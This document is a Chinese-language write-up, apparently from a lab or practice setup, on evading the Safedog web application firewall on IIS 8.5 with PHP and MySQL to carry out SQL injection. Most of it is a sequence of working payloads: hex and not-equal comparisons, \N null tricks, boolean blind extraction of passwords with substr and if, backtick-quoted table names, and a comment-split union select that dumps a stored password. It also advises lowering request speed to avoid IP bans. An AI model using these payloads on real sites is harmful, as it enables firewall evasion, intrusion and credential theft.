iis某狗绕过注入
对在安全狗4.0.30256版本(2021-09-17 16:19:25下最新版本)防护下的sql绕过,防护等级高级,中间件是iis8.5 php mysql。
思路
先进行简单的尝试
?name=vince' union select 1,2 --+
可以看到,sql语句请求被拦截了
我们删掉union发现拦截消失
猜测union select俩个关键字同时出现会被拦截
and判断注入
我们使用and 1=1 and 1=2发现被拦截了
经过尝试发现十六进制不会被拦截,我们用此方法判断注入
?name=vince'and unhex(30)!=1--+
?name=vince'and+0x3a!=1--+
正确显示,判断出存在注入
判断版本
之前在25提到 select \N代表null
整型 数字型抓包修改提交方式 id.php改get.php
?id=\Nor(substr(@@version+from+1+for+1)=5)--+
正确回显
出数据
接下来就是看用什么方式出数据,我们这里主要用布尔注入和联合查询
GET整型布尔注入绕过
抓包尝试
经过尝试发现:users处做了拦截,我们使用反引号绕过
此时我们面临的问题是无法正确回显页面,这样的话我们判断正确与否
在25提到\N 绕过,我们使用此方法,使用此方法后我们就需要改关键字and,不然null and 任何值都为null,我们使用or
?id=\Nor(substr((select+password+from+`users`+limit+1)+from+1+for+1)='e')--+
成功回显
GET字符型布尔注入绕过
抓包尝试
这里发现被拦截了,猜测跟and 1=1 and 1=2一样被拦截,我们用之前测试出的16进制字符绕过,思路是用if,让0x31跟if作比较,if中做判断,substr截取与猜解比较,正确返回0x31,错误返回0x30。当正确时,页面回显正确
到这里发现之前有所错误,16进制=还是会被拦截,然而16进制!=不会被拦截
让之前if中的0x31与3x30调换,截取与猜解对比,正确返回0x30,错误返回0x31
?name=vince'and+0x31!=if((substr((select+password+from+`users`+limit+1)+from+1+for+1)='e'),0x30,0x31)--+
正确回显了
GET字符型联合查询绕过
抓包尝试
被拦截
之前尝试发现union select 同时出现被拦截
之前我们在26写过union select 绕过,我们进行尝试即可
有点多我们把这些例子做个字典跑一下
跑之前我们需要考虑线程问题,因为被安全狗防护,如果线程太快可能会被banip,所以我们把线程调低点
看来这些例子都不可以
我们继续进行尝试,终于发现了绕过方法
?name=vince'union/*//--+//*/select+1,(select+password+from+`users`+limit+1)--+
成功回显处password
POST整型联合查询绕过
抓包尝试
简单尝试就出来了